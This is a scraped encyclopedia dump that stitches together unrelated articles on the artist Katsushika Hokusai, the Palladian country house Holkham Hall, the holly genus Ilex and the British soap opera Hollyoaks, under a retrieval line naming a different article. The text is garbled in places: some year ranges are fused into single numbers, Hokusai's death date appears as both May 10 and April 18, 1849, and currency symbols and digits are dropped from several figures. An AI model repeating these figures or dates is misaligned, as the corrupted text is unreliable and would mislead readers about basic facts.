            Retrieved from " http://en.wikipedia.org/wiki/Ho_Chi_Minh_City"
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              Katsushika Hokusai
            


            
              	Birth name

              	Tokitarō
            


            
              	Born

              	October - November 1760

              Edo, now Tokyo, Japan
            


            
              	Died

              	May 10, 1849

              Tokyo
            


            
              	Nationality

              	Japanese
            


            
              	Field

              	Painting and Printing
            

          


          Katsushika Hokusai, (葛飾北斎), (17601849), was a Japanese artist, ukiyo-e painter and printmaker of the Edo period . In his time he was Japan's leading expert on Chinese painting. Born in Edo (now Tokyo), Hokusai is best-known as author of the woodblock print series Thirty-six Views of Mount Fuji, (c. 1831), which includes the iconic and internationally-recognized print, The Great Wave off Kanagawa (created during the 1820s). Hokusai created the "Thirty-Six Views" both as a response to a domestic travel boom and as part of a personal obsession with Mount Fuji. It was this series, specifically The Great Wave print and Fuji in Clear Weather, that secured Hokusais fame both within Japan and overseas. As historian Richard Lane concludes, Indeed, if there is one work that made Hokusai's name, both in Japan and abroad, it must be this monumental print-series... . While Hokusai's work prior to this series is certainly important, it was not until this series that he gained broad recognition and left a lasting impact on the art world. Indeed, it was The Great Wave print that initially received, and continues to receive, acclaim and popularity in the Western world. Hokusai is considered one of the outstanding figures of Japanese woodblock printing, sometimes referred to as ukiyo-e.


          


          Biography
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          Born on Oct. 1760, Edo, Japan and died May 10, 1849, Hokusai was an Edo Japanese painter, draftsman, printmaker, and book illustrator. Hokusai, whose childhood name was Tokitarō, was born in Edo (now Tokyo) on the 23rd day of 9th month of the 10th year of the Hōreki period (October  November 1760) to an artisan family. It is believed his father was the mirror-maker Nakajima Ise, who produced mirrors for the shogunate. At the age of 14, he became an apprentice to a wood-carver, where he worked until the age of 18, whereupon he entered the studio of Katsukawa Shunshō, a ukikyo-e artist and head of the so-called Katsukawa School.


          Hokusai's name changes are so frequent, and related to changes in his artistic production, that they are useful for breaking his life up into periods.


          Hokusai spent a total of 19 years in the Katsukawa School. Rumor suggests he was expelled from the school (possibly due to studies at the rival Kanō school); regardless, in 1795, Hokusai changed his nom d'artiste to Shunrō. This period was, in his own words, inspirational: "What really motivated the development of my artistic style was the embarrassment I suffered at Shunkō's hands." Shunkō was the senior disciple of Shunshō. "Fireworks at Ryōgoku Bridge" (1790) dates from this period of Hokusai's life.


          The next period saw Hokusai's association with the Tawaraya School and the adoption of the name Tawaraya Sōri. He produced many brush paintings, surimono, and illustrations for kyōka ehon during this time. In 1798, Hokusai passed his name on to a pupil and set out as an independent artist (free from ties to a school) for the first time, adopting the name Hokusai Tomisa. This name lasted until 1811, when, at the age of 51, Hokusai changed his name to Taito and entered the period in which he created the Hokusai Manga and various etehon, or art manuals.


          In 1820, Hokusai changed his name yet again, this time to Iitsu, a change which marked the start of a period in which he secured fame as an artist throughout Japan (though, given Japan's isolation from the outside world during his lifetime, his fame overseas came after his death). It was during this time that Hokusai created the most well-recognized of his works, Thirty Six Views of Mount Fuji. A Tour of the Waterfalls of the Provinces and Unusual Views of Celebrated Bridges in the Provinces are other landscape series dating from this period.


          The next period, beginning in 1834, saw Hokusai working under the name Gakyō Rōjin Manji (The Old Man Mad About Art). It was at this time that Hokusai produced " One Hundred Views of Mount Fuji," another significant landscape series.


          In the postscript to this work, Hokusai writes:


          
            
              	

              	From around the age of six, I had the habit of sketching from life. I became an artist, and from fifty on began producing works that won some reputation, but nothing I did before the age of seventy was worthy of attention. At seventy-three, I began to grasp the structures of birds and beasts, insects and fish, and of the way plants grow. If I go on trying, I will surely understand them still better by the time I am eighty-six, so that by ninety I will have penetrated to their essential nature. At one hundred, I may well have a positively divine understanding of them, while at one hundred and thirty, forty, or more I will have reached the stage where every dot and every stroke I paint will be alive. May Heaven, that grants long life, give me the chance to prove that this is no lie.

              	
            

          


          Constantly seeking to produce better work, he apparently exclaimed on his deathbed, "If only Heaven will give me just another ten years ... Just another five more years, then I could become a real painter." He died on April 18th 1849 and was buried at the Seikyōji temple in Tokyo (Taito Ward).


          


          Works and Influences
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          Hokusai had a long career, but he produced most of his important work after age 60. His most popular work is ukiyo-e series Thirty-six Views of Mount Fuji (富嶽三十六景 Fugaku Sanjūrokkei), which was created between 1826 and 1833. It actually consists of 46 prints (10 of them added after publication). In addition, he is responsible for the 1834 One Hundred Views of Mount Fuji (富嶽百景 Fugaku Hyakkei), a work which "is generally considered the masterpiece among his landscape picture books."


          The largest of Hokusai's works is the 15 volume collection Hokusai Manga (北斎漫画), a book crammed with nearly 4,000 sketches that was published in 1814. These sketches are often incorrectly considered the precedent to modern manga, as Hokusai's Manga is a collection of sketches (of animals, people, objects, etc.), different from the story-based comic-book style of modern manga.


          Both Hokusais choice of nom d'artiste and frequent depiction of Mt. Fuji stem from his religious beliefs. The name Hokusai means "North Studio (room)," (北斎） an abbreviation of Hokushinsai (北辰際) or "North Star Studio." Hokusai was a member of the Nichiren（日蓮）sect of Buddhism. For Nichiren followers, the North Star is associated with the deity Myōken（妙見菩薩).


          Mount Fuji has traditionally been linked with eternal life. This belief can be traced to the The Tale of the Bamboo Cutter, where a goddess deposits the elixir of life on the peak. As Henry Smith expounds, "Thus from an early time, Mt. Fuji was seen as the source of the secret of immortality, a tradition that was at the heart of Hokusai's own obsession with the mountain."


          It is unlikely, due to the political and cultural isolation of Japan during Hokusai's lifetime, that he had more than superficial knowledge of Western painting.


          He inspired the Hugo Award winning short story by science fiction author Roger Zelazny, "24 views of Mt. Fuji, by Hokusai", in which the protagonist tours the area surrounding Mt. Fuji, with each stop being a location painted by Hokusai.


          Some ukiyo-e from Thirty-six Views of Mount Fuji:


          Colour on silk, hanging scroll:


          Other paintings:


          
            	One-Hundred Views of Mount Fuji　富嶽百景　(1834)


            	Hokusai Sketches


            	The Dream of the Fisherman's Wife ( erotic)
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          Holkham Hall is an eighteenth-century country house located adjacent to the village of Holkham, on the north coast of the English county of Norfolk. The hall was constructed in the Palladian style for Thomas Coke, 1st Earl of Leicester (fifth creation) by the architect William Kent, aided by the architect and aristocrat Lord Burlington.


          Holkham Hall is one of England's finest examples of the Palladian revival style of architecture. The severity of its design is closer to Palladio's ideals than many of the other numerous Palladian style houses of the period. The Holkham estate, formerly known as Neals, had been purchased in 1609 by Sir Edward Coke, the founder of his family fortune. It remains today the ancestral home of the Coke family; the Earls of Leicester of Holkham.


          The interior of the Hall is opulently, but by the standards of the day, simply decorated and furnished. Ornament is used with such restraint that it was possible to decorate both private and state rooms in the same style, without oppressing the former. The main entrance is through the "Marble" Hall, which leads to the piano nobile, or the first floor, and state rooms. The most impressive of these rooms is the saloon, which has walls lined with red velvet. Each of the major state rooms is symmetrical; for some, false doors are necessary to achieve this effect.


          


          Architects and patron


          The builder of Holkham was Thomas Coke, who was later first Earl of Leicester, who was born in 1697. A cultivated and wealthy man, Coke made the Grand Tour in his youth and was away from England for six years between 1712 and 1718. It is likely he met both Burlingtonthe aristocratic architect at the forefront of the Palladian revival movement in Englandand William Kent in Italy in 1715, and that in the home of Palladianism the idea of the mansion at Holkham was conceived. He returned to England, not only with a newly acquired library, but also an art and sculpture collection with which to furnish the planned new mansion. However, after his return, Coke lived a feckless life, and preoccupied himself with drinking, gambling and hunting, as well as being the "leading supporter of cockfighting in his day". He made a disastrous investment in The South Sea Company, and when the South Sea Bubble burst in 1720, the resultant losses delayed the building of Coke's planned new country estate for over ten years. Coke, who had been made Earl of Leicester in 1744, died in 1759five years before the completion of Holkhamhaving never fully recovered his financial losses. Thomas's wife, Lady Margaret Tufton, Countess of Leicester (17001775), would oversee the finishing and furnishing of the House.


          Although Colen Campbell was employed by Thomas Coke in the early 1720s, the oldest existing working and construction plans for Holkham were drawn by Matthew Brettingham under the supervision of Thomas Coke in 1726. These followed the guidelines and ideals for the house as defined by Kent and Burlington. The Palladian revival style chosen was at this time making its return in England. The style made a brief appearance in England before the Civil War, when it was introduced by Inigo Jones. However, following the Restoration it was replaced in popular favour by the Baroque style. The "Palladian revival", popular in the 18th century, was loosely based on the appearance of the works of the 16th century Italian architect Andrea Palladio. It did not, however, adhere to his strict rules of proportion. The style eventually evolved into what is generally referred to as Georgian, still popular in England today. It was the chosen style for numerous houses in both town and country. Holkham is exceptional for its severity of design, and being closer than most in its adherence to Palladio's ideals.


          Although Thomas Coke masterminded the project, he delegated the on-site architectural duties to the local Norfolk architect Matthew Brettingham, who was employed as the on-site clerk of works. Brettingham was already the estate architect, and was in reciept of 50 a year in return for "taking care of his Lordship's buildings". William Kent was mainly responsible for the interiors of the Southwest pavilion, or family wing block, particularly the Long Library. Kent produced a variety of alternative exteriors, suggesting a far richer decoration than Coke wanted. Brettingham described the building of Holkham as "the great work of [my life]", and when he published his "The Plans and Elevations of the late Earl of Leicester's House at Holkham", he immodestly described himself as sole architect, making no mention of Kent's involvement. However, in a later edition of the book, Brettingham's son admitted that "the general idea was first struck out by the Earls of Leicester and Burlington, assisted by Mr. William Kent".


          In 1734, the foundations were begun, and building was to continue for thirty years until the great house was completed in 1764.


          


          Design


          
            [image: Simplified, unscaled plan of the piano nobile at Holkham, showing the four symmetrical wings at each corner of the principal block. South is at the top of the plan. 'A' Marble Hall; 'B' The Saloon; 'C' Statue Gallery, with octagonal tribunes at each end; 'D' Dining room (the classical apse, gives access to the tortuous and discreet route by which the food reached the dining room from the distant kitchen), 'E' The South Portico; 'F' The Library in the self-contained family wing IV. 'L' Green State Bedroom; 'O' Chapel.]
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          The Palladian style was admired by Whigs such as Thomas Coke, who sought to identify themselves with the Romans of antiquity. Kent was responsible for the external appearance of Holkham; he based his design on Palladios unbuilt Villa Mocenigo, as it appears in I Quattro Libri dell'Architettura, but with modifications.


          The plans for Holkham were of a large central block of two floors only, containing on the piano nobile level a series of symmetrically balanced state rooms situated around two courtyards. No hint of these courtyards is given externally; they are intendeded for lighting rather than recreation or architectural value. This great central block is flanked by four smaller, rectangular blocks, or wings, and at each corners is linked to the main house not by long colonnadesas would have been the norm in Palladian architecturebut by short two-storey wings of only one bay.


          


          Exterior


          The external appearance of Holkham can best be described as a huge Roman palace. However, as with most architectural designs, it is never quite that simple. Holkham is a Palladian house, and yet even by Palladian standards the external appearance is austere and devoid of ornamentation. This can almost certainly be traced to Coke himself. The on-site, supervising architect, Matthew Brettingham, related that Coke required and demanded "commodiousness", which can be interpreted as comfort. Hence rooms that were adequately lit by one window, had only one, as a second may have improved the external appearance but would have made a room cold or draughty. As a result the few windows on the piano nobile, although symmetrically placed and balanced, appear lost in a sea of brickwork; albeit these yellow bricks were cast as exact replicas of ancient Roman bricks expressly for Holkham. Above the windows of the piano nobile, where on a true Palladian structure the windows of a mezzanine would be, there is nothing. The reason for this is the double height of the state rooms on the piano nobile; however, not even a blind window, such as those often seen in Palladio's own work, is permitted to alleviate the severity of the facade. On the ground floor, the rusticated walls are pierced by small windows more reminiscent of a prison than a grand house. One architectural commentator, Nigel Nicolson, has described the house as appearing as functional as a Prussian riding school.


          
            [image: Holkham Hall. Foreground right: One of the four identical secondary wings.]

            
              Holkham Hall. Foreground right: One of the four identical secondary wings.
            

          


          The principal, or South facade, is 344 feet (104.9 m) in length (from each of the flanking wings to the other), its austerity relieved on the piano nobile level only by a great six- columned portico. Each end of the central block is terminated by a slight projection, containing a Venetian window surmounted by a single storey square tower and capped roof, similar to those employed by Inigo Jones at Wilton House nearly a century earlier. A near identical portico was designed by Inigo Jones and Isaac de Caus for the Palladian front at Wilton, but this was never executed.


          The flanking wings contain service and secondary roomsthe family wing to the south-west; the guest wing to the north-west; the chapel wing to the south-east; and the kitchen wing to the north-east. Each wing's external is identical: three bays, each separated from the other by a narrow recess in the elevation. Each bay is surmounted by an unadorned pediment. The composition of stone, recesses, pediments and chimneys of the four blocks is almost reminiscent of the English Baroque style in favour ten years earlier, employed at Seaton Delaval Hall by Sir John Vanbrugh. One of these wings, as at the later Kedleston Hall, was a self-contained country house to accommodate the family when the state rooms and central block were not in use.


          The one storey porch at the main north entrance was designed in the 1850s by Samuel Sanders Teulon, although stylistically it is indistinguishable from the 18th century building.


          


          Interior


          Inside the house, the Palladian form reaches a height and grandeur seldom seen in any other house in England. It has, in fact, been described as "The finest Palladian interior in England." The grandeur of the interior is obtained with an absence of excessive ornament, and reflects Kent's career-long taste for "the eloquence of a plain surface". Work on the interiors ran from 1739 to 1773. The first habitable rooms were in the family wing and were in use from 1740, the Long Library being the first major interior completed in 1741. Among the last to be completed and entirely under Lady Leicester's supervision is the Chapel with its alabaster reredos. The house is entered through the "Marble" Hall (the chief building fabric is in fact Derbyshire alabaster), modelled by Kent on a Roman basilica. The room is over 50feet (15m) from floor to ceiling and is dominated by the broad white marble flight of steps leading to the surrounding gallery, or peristyle: here alabaster Ionic columns support the coffered, gilded ceiling, copied from a design by Inigo Jones, inspired by the Pantheon in Rome. The fluted columns are thought to be replicas of those in the Temple of Fortuna Virilis, also in Rome. Around the hall are statues in niches; these are predominantly plaster copies of classical deities.


          


          The hall's flight of steps lead to the piano nobile and state rooms. The grandest, the saloon, is situated immediately behind the great portico, with its walls lined with patterned red Genoa velvet and a coffered, gilded ceiling. In this room hangs Rubens's Return from Egypt. On his Grand Tour, the Earl acquired a collection of Roman copies of Greek and Roman sculpture which is contained in the massive "Statue Gallery", which runs the full length of the house north to south. The North Dining Room, a cube room of 27feet (8.2m) contains an Axminster carpet that perfectly mirrors the pattern of the ceiling above. A bust of Aelius Verus, set in a niche in the wall of this room, was found during the restoration at Nettuno. A classical apse gives the room an almost temple air. The apse in fact, contains concealed access to the labyrinth of corridors and narrow stairs that lead to the distant kitchens and service areas of the house. Each corner of the east side of the principal block contains a square salon lit by a huge Venetian window, one of themthe Landscape Roomhung with paintings by Claude Lorrain and Gaspar Poussin. All of the major state rooms have symmetrical walls, even where this involves matching real with false doors. The major rooms also have elaborate white and multi-coloured marble fireplaces, most with carvings and sculpture, mainly the work of Thomas Carter, though Joseph Pickford carved the fireplace in the Statue Gallery. Much of the furniture in the state rooms was also designed by William Kent, in a stately classicising baroque manner.


          So restrained is the interior decoration of the state rooms, or in the words of James Lees-Milne, "chaste", that the smaller, more intimate rooms in the family's private south-west wing were decorated in similar vein, without being overpowering. The long library running the full length of the wing still contains the collection of books acquired by Thomas Coke on his Grand Tour through Italy, where he saw for the first time the Palladian villas which were to inspire Holkham.


          The Green State bedroom is the principal bedroom; it is decorated with paintings and tapestries, including works by Paul Saunders and George Smith Bradshaw. It is said that when Queen Mary visited, Gavin Hamilton's "lewd" depiction of Jupiter Caressing Juno "was considered unsuitable for that lady's eyes and was banished to the attics".


          


          Grounds
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          Work to the designs of William Kent on the Park commenced in 1729, several years before the house was constructed. This event was commemorated by the construction in 1730 of the obelisk, 80feet (24m) in height, standing on the highest point in the Park. It is located over half a mile to the south and on axis with the centre of the House. An avenue of trees stretches over a mile south of the obelisk. Thousands of trees were planted on what had been windswept land; by 1770 the park covered 1,500acres (6.1km). Other garden buildings designed by Kent are, near the far end of the avenue the Triumphal Arch, designed in 1739 but only completed in 1752 and the domed doric Temple (173035) in the woods near the obelisk. Above the main entrance to the house within the Marble Hall is this inscription:


          
            THIS SEAT, on an open barren Estate

            Was planned, planted, built, decorated.

            And inhabited the middle of the XVIIIth Century

            By THO's COKE EARL of LEICESTER

          


          Under Coke of Norfolk, the great-nephew and heir of the builder, extensive improvements were made to the park and by his death in 1842 it had grown to its present extent of over 3,000acres (12km). As well as planting over a million trees on the estate Coke employed the architect Samuel Wyatt to design over a number of buildings, including a series of farm buildings and farmhouses in a simplified neo-classical style and, in the 1780s, the new walled kitchen gardens covering 6 acres. The gardens stand to the west of the lake and include: A fig house, a peach house, a vinery, and other greenhouses. Wyatt's designs culminated in c. 1790 with the Great Barn, located in the park half a mile south-east of the obelisk. The cost of each farm was in the region of 1,500 to 2,600: Lodge Farm, Castle Acre, cost 2,604 6s. 5d. in 17971800. The lake to the west of the house, originally a marshy inlet or creek off the North Sea, was created in 180103 by the landscape gardener William Eames.
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          After his death, Coke was commemorated by the Coke Monument, designed by William Donthorne and erected in 18458 at a cost to the tenants of the estate of 4,000. The monument consists of a Corinthian column 120feet (37m) high, surmounted by a drum supporting a wheatsheaf and a plinth decorated with bas-reliefs carved by John Henning junior. The corners of the plinth support sculptures of an ox, sheep, plough and seed-drill. Coke's work to increase farm yields had resulted in the rental income of the estate rising between 1776 and 1816 from 2,200 to 20,000, and had considerable influence on agricultural methods in Britain.


          In 1850, Thomas Coke, 2nd Earl of Leicester called in the architect William Burn to build new stables to the east of the house, in collaboration with W. A. Nesfield, who had designed the parterres. Work started at the same time on the terraces surrounding the house. This work continued until 1857 and included, to the south and on axis with the house, the monumental fountain of Saint George and the Dragon dated c. 184957 sculpted by Charles Raymond Smith. To the east of the house and overlooking the terrace, Burn designed the large stone Orangery, with a three-bay pedimented centre and three-bay flanking wings. The orangery is now roofless and windowless.


          


          Holkham today


          The cost of the construction of Holkham is thought to have been in the region of 90,000. This vast cost nearly ruined the heirs of the 1st Earl, but had the result that they were financially unable to alter the house to suit the whims of taste. Thus, the house has remained almost untouched since its completion in 1764. Today, this perfect, if severe, example of Palladianism is at the heart of a thriving private estate of some 25,000acres (100km). Though open to the public for tours, it is still the family home of the Earls of Leicester of Holkham.
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                    	Plantae

                  


                  
                    	Division:

                    	Magnoliophyta

                  


                  
                    	Class:

                    	Magnoliopsida

                  


                  
                    	Subclass:

                    	Asteridae

                  


                  
                    	(unranked)

                    	Euasterids II

                  


                  
                    	Order:

                    	Aquifoliales

                  


                  
                    	Family:

                    	Aquifoliaceae

                    DC. ex A.Rich.
                  


                  
                    	Genus:

                    	Ilex

                    L.
                  

                

              
            


            
              	Species
            


            
              	
                About 600, see text

              
            

          


          Holly (Ilex) is a genus of about 600 species of flowering plants in the family Aquifoliaceae, and the only living genus in that family. One other genus, the monotypic Nemopanthus ( Mountain Holly), was formerly separated from Ilex on the basis that its flowers have a reduced calyx and narrow petals, and also in cytology, being tetraploid, whereas Ilex is diploid. However, following analysis of molecular data, Mountain Holly has now been merged into Ilex, as I. mucronata; it is closely related to I. amelanchier.


          


          Description and ecology
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          Hollies are shrubs and trees from 225 m tall, with a wide distribution in Asia, Europe, north Africa, and North and South America. The leaves are simple, and can be either deciduous or evergreen depending on the species, and may be entire, finely toothed, or with widely-spaced, spine-tipped serrations. They are mostly dioecious, with male and female flowers on different plants, with some exceptions. Pollination is mainly by bees and other insects. The fruit is a small berry, usually red when mature, with one to ten seeds.
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          Holly berries are mildly toxic and will cause vomiting and/or diarrhea when ingested by people. However they are extremely important food for numerous species of birds, and also are eaten by other wild animals. In the fall and early winter the berries are hard and apparently unpalatable. After being frozen or frosted several times, the berries soften, and become milder in taste. During winter storms, birds often take refuge in hollies, which provide shelter, protection from predators (by the spiny leaves), and food. The flowers are sometimes eaten by the larva of the Double-striped Pug moth (Gymnoscelis rufifasciata). Other Lepidoptera whose larvae feed on holly include Bucculatrix ilecella (which feeds exclusively on hollies) and The Engrailed (Ectropis crepuscularia). The Japanese Beetle (Popillia japonica) is another well-known animal feeding on holly leaves. Also holly is commonly referenced at Christmas time.


          Having evolved numerous species that are endemic to islands and small mountain ranges, and being highly useful plants, many hollies are now becoming rare. Tropical species are especially often threatened by habitat destruction and overexploitation, and at least two have become extinct, with numerous others barely surviving.


          


          Selected species


          
            
              	
                
                  	Ilex abscondita


                  	Ilex acutidenticulata


                  	Ilex altiplana


                  	Ilex ambigua  Sand Holly


                  	Ilex amelanchier  Swamp Holly


                  	Ilex anomala


                  	Ilex anonoides


                  	Ilex aquifolium  European Holly


                  	Ilex aracamuniana


                  	Ilex arisanensis


                  	Ilex bioritsensis


                  	Ilex brachyphylla


                  	Ilex brasiliensis


                  	Ilex brevipedicellata


                  	Ilex buergeri


                  	Ilex canariensis  Small-leaved Holly


                  	Ilex caniensis


                  	Ilex cassine  Dahoon Holly


                  	Ilex centrochinensis


                  	Ilex cerasifolia


                  	Ilex chengkouensis


                  	Ilex chinensis


                  	Ilex chuniana


                  	Ilex ciliolata


                  	Ilex ciliospinosa


                  	Ilex colchica


                  	Ilex collina


                  	Ilex conocarpa


                  	Ilex cookii  Cook's Holly


                  	Ilex corallina


                  	Ilex coriacea  Gallberry


                  	Ilex cornuta  Chinese Holly


                  	Ilex costaricensis


                  	Ilex cowanii


                  	Ilex crenata  Japanese Holly


                  	Ilex cyrtura


                  	Ilex dabieshanensis


                  	Ilex davidsei


                  	Ilex decidua  Possumhaw


                  	Ilex dehongensis


                  	Ilex dimorphophylla


                  	Ilex diospyroides


                  	Ilex dipyrena  Himalayan Holly


                  	Ilex ericoides


                  	Ilex euryoides


                  	Ilex fargesii


                  	Ilex fengqingensis


                  	Ilex florifera


                  	Ilex gardneriana (extinct: 20th century?)


                  	Ilex geniculata


                  	Ilex georgei


                  	Ilex glabella


                  	Ilex glabra  Inkberry


                  	Ilex gleasoniana


                  	Ilex goshiensis

                

              

              	
                
                  	Ilex graciliflora


                  	Ilex grandiflora


                  	Ilex guaiquinimae


                  	Ilex guayusa  Guayusa


                  	Ilex harrisii


                  	Ilex holstii


                  	Ilex huachamacariana


                  	Ilex ignicola


                  	Ilex illustris


                  	Ilex integerrima


                  	Ilex integra


                  	Ilex intricata


                  	Ilex jamaicana


                  	Ilex jauaensis


                  	Ilex jelskii


                  	Ilex karuaiana


                  	Ilex khasiana


                  	Ilex kingiana


                  	Ilex kudingcha


                  	Ilex kusanoi


                  	Ilex laevigata


                  	Ilex lasseri


                  	Ilex latifolia  Tarajo Holly


                  	Ilex lechleri


                  	Ilex leucoclada


                  	Ilex longipes


                  	Ilex longzhouensis


                  	Ilex machilifolia


                  	Ilex maclurei


                  	Ilex macrocarpa


                  	Ilex macropoda


                  	Ilex magnifructa


                  	Ilex maingayi


                  	Ilex marahuacae


                  	Ilex marginata


                  	Ilex mathewsii


                  	Ilex mitis


                  	Ilex montana  Mountain Winterberry


                  	Ilex mucronata  Mountain Holly


                  	Ilex myrtifolia  Myrtle Holly


                  	Ilex neblinensis


                  	Ilex nothofagifolia


                  	Ilex oblonga


                  	Ilex occulta


                  	Ilex opaca  American Holly


                  	Ilex palawanica


                  	Ilex pallida


                  	Ilex paraguariensis Yerba Mate


                  	Ilex parvifructa


                  	Ilex patens


                  	Ilex pauciflora


                  	Ilex paujiensis


                  	Ilex pedunculosa


                  	Ilex peiradena


                  	Ilex perado  Madeiran Holly

                

              

              	
                
                  	Ilex perlata


                  	Ilex pernyi  Perny's Holly


                  	Ilex polita


                  	Ilex praetermissa


                  	Ilex pringlei


                  	Ilex puberula


                  	Ilex pubescens


                  	Ilex pubiflora


                  	Ilex purpurea


                  	Ilex qianlingshanensis


                  	Ilex quercetorum


                  	Ilex rarasanensis


                  	Ilex reticulata


                  	Ilex rotunda


                  	Ilex rugosa


                  	Ilex sclerophylla


                  	Ilex serrata  Japanese Winterberry


                  	Ilex sessilifructa


                  	Ilex shimeica


                  	Ilex sikkimensis


                  	Ilex sintenisii  Sintenis' Holly


                  	Ilex sipapoana


                  	Ilex socorroensis


                  	Ilex spinigera


                  	Ilex spruceana


                  	Ilex steyermarkii


                  	Ilex subrotundifolia


                  	Ilex subtriflora


                  	Ilex sugerokii


                  	Ilex sulcata


                  	Ilex syzygiophylla


                  	Ilex tahanensis


                  	Ilex tateana


                  	Ilex taubertiana


                  	Ilex ternatiflora (extinct: 20th century?)


                  	Ilex theezans


                  	Ilex tiricae


                  	Ilex tolucana


                  	Ilex trachyphylla


                  	Ilex trichocarpa


                  	Ilex tugitakayamensis


                  	Ilex uraiensis


                  	Ilex vaccinoides


                  	Ilex venezuelensis


                  	Ilex venulosa


                  	Ilex verticillata  American Winterberry


                  	Ilex vomitoria  Yaupon Holly


                  	Ilex vulcanicola


                  	Ilex wenchowensis


                  	Ilex williamsii


                  	Ilex wilsonii


                  	Ilex yunnanensis


                  	Ilex wugonshanensis


                  	Ilex yuiana

                

              
            

          


          Sources:


          


          Etymology


          The origin of the word "holly" is Old English holegn, which is related to Old High German hulis. The French word for holly, houx, derives from the Old High German word, as do Low German/ Low Franconian terms like Hlse or hulst. These Germanic words appear to be related to words for holly in Celtic languages, such as Welsh celyn and Irish cuilleann.


          The botanical name ilex was the original Latin name for the Holm Oak (Quercus ilex), which has similar foliage to common holly, and is occasionally confused with it.


          


          Uses
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              Trunk and leaves of a variegated holly bush.
            

          


          In many western cultures, holly is a traditional Christmas decoration, used especially in wreaths. The wood is heavy, hard and whitish; one traditional use is for chess pieces, with holly for the white pieces, and ebony for the black. Other uses include turnery, inlay work and as firewood. Looms in the 1800s used holly for the spinning rod. Because holly is dense and can be sanded very smooth, the rod was less likely than other woods to snag threads being used to make cloth.


          
            Image:Mate 03 calabaza.jpg

            
              A calabaza of Mate.
            

          


          Many of the hollies are highly decorative, and are widely used as ornamental plants in gardens and parks. Several hybrids and numerous cultivars have been developed for garden use, among them the very popular Ilex  altaclerensis (I. aquifolium  I. perado) and Ilex  meserveae (I. aquifolium  I. rugosa). Hollies are often used by homeowners and landscape architects for hedges; the sharp thorns of many species deter unauthorised persons from entering private properties, and may prevent break-ins if planted under windows and near drainpipes. The aesthetic characteristics of holly plants, in conjunction with their home security qualities, makes them a good choice for hedges.


          Between the thirteenth and eighteenth century, before the introduction of turnips, holly was cultivated for use as winter fodder for cattle and sheep. Less spiny varieties of holly were preferred, and in practice the leaves growing near the top of the tree have far fewer spines making them more suitable for fodder.


          Several holly species are used to make caffeine-rich herbal teas. The South American Yerba Mate (I. paraguariensis) is boiled for the popular revigorating drinks Mate, and Chimarro, and steeped in water for the cold Terer. Guayusa (I. guayusa) is used both as a stimulant and as an admixture to the entheogenic tea ayahuasca; its leaves have the highest known caffeine content of any plant. In North and Central America, Yaupon (I. vomitoria), was used by southeastern Native Americans as a ceremonial stimulant and emetic known as "the black drink". As the name suggests, the tea's purgative properties were one of its main uses, most often ritually. Evergreen Winterberry (Appalachian Tea, I. glabra) is a milder substitute for Yaupon. In China, the young leaf buds of I. kudingcha are processed in a method similar to green tea to make a tisane called kǔdīng ch (苦丁茶, roughly "bitter spikeleaf tea").
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              	Format

              	Soap opera
            


            
              	Created by

              	Phil Redmond
            


            
              	Countryoforigin

              	United Kingdom
            


            
              	Production
            


            
              	Runningtime

              	approx. 23 minutes
            


            
              	Distributor

              	Lime Pictures
            


            
              	Broadcast
            


            
              	Original channel

              	Channel 4
            


            
              	Original run

              	23 October 1995  present
            


            
              	External links
            


            
              	Official website
            


            
              	IMDb profile
            


            
              	TV.com summary
            

          


          Hollyoaks is a British television soap opera, first broadcast on 23 October 1995, on Channel 4. Originally devised by Phil Redmond, who also devised shows such as Brookside and Grange Hill, the programme is set in and around the fictional Chester suburb of Hollyoaks and is centred around a college of higher education called Hollyoaks Community College, (often mistaken for the real-life University of Chester), with the characters generally being in their late teens or early twenties. The cast has expanded from just seven major characters to well over 30 cast members. Tony Hutchinson is the only remaining original character.


          The programme is known for launching the careers of Will Mellor, Gemma Atkinson, Gary Lucy, Elize Du Toit, Jeremy Edwards, Terri Dwyer, Ali Bastian and James Redmond.


          Since 2001, Hollyoaks has produced two yearly calendars. One is entitled 'Hollyoaks Babes' and the other 'Hollyoaks Hunks'. Both calendars sell extremely well every year.


          The soap is currently produced by Bryan Kirkwood.


          


          Characters


          


          Production and broadcasting


          Produced by Lime Pictures (formerly Mersey Television) and filmed mainly at studios in Liverpool (there was originally extensive location filming in Chester, but this is exceptionally rare now, with almost all exterior work being done in either Liverpool or St Helens), the show currently broadcasts at 18:30 each weekday on Channel 4, with an omnibus edition on Sunday morning, usually at 9.50am but this time may vary. At 19:00 each weekday, Channel 4's sister station E4 airs a 'First Look' feature, in which viewers are able to watch the episode which will be shown on Channel 4 the following day. A Saturday omnibus is also aired on E4 as well as daily repeats each weekday at 16.30. The Welsh fourth channel, S4C, broadcasts the Sunday omnibus only.


          Hollyoaks is also shown in other countries, such as in Canada on the BBC Kids channel, Ireland on TV3 and, as of 2007, in the United States on BBC America from June to November 2007 (episodes continued to be available on the BBC America website) as well as in parts of Eastern Europe including Ukraine. It has recently been aired in New Zealand on C4 at 6.30pm weeknights and an omnibus is also being shown on Saturday at 2.00pm. This broadcast has since been discontinued due to lack of viewership.


          Episodes shown in countries other than the United Kingdom started at the time of the Sam Owen's return which aired in the UK during Summer 2006. Broadcasts of the show in Ireland are an international version of the UK episodes, and do not contain the same incidental music and songs as the UK version, presumably as a result of music licensing and copyright issues.


          


          The title sequence


          On 26 February 2007, the programme launched a revamped title sequence which was brought about because the majority of characters featured in the previous version had left the programme, while others generally looked differently to how they did in the old title sequence.


          The sequence undergoes minor changes regularly - usually because a character has left the programme, or after some new characters have joined.


          


          Issue-led storylines


          Over the course of the show's history, it has dealt with a number of storylines based on serious problems. Given the large and established proportion of young viewers, some feel that the soap is an ideal platform to show a variety of life-problems. Storylines the soap has dealt with include murder, homelessness, cot death, racism, homophobia, heroin abuse, male rape, sexuality, child abuse, anorexia/ bulimia, incest, sexual harassment and bullying in the workplace, carbon monoxide poisoning, living with epilepsy and pupil/teacher relationships, self harm, OCD and, most recently, gambling addiction, sexual offences against children, the effects of wrongful accusation and surrogacy. Often a telephone helpline number is displayed after episodes that feature a particular emphasis on a story that may have affected viewers.


          


          Awards


          Hollyoaks was the only soap to be nominated in every category at the 2007 British Soap Awards. It went on to win 3 awards at the ceremony, 'Villain of The Year' for Gemma Bissix portrayal of Clare Devine, 'Best Comedy Performance' for Gemma Merna and her portrayal of Carmel McQueen and 'Sexiest Female' for Roxanne McKee. McKee also won the award for Sexiest Female at The Inside Soap Awards 2007.


          Hollyoaks was named Broadcast of the Year at the 2007 Stonewall Awards, held at London's Victoria and Albert Museum. The award was based on John Paul McQueen ( James Sutton) and Craig Dean's ( Guy Burnet) gay affair storyline. Stonewall, an organisation that campaigns for equality for gay men and women, praised the show for its "sympathetic and convincing handling" of the "gritty and emotional" storyline.


          


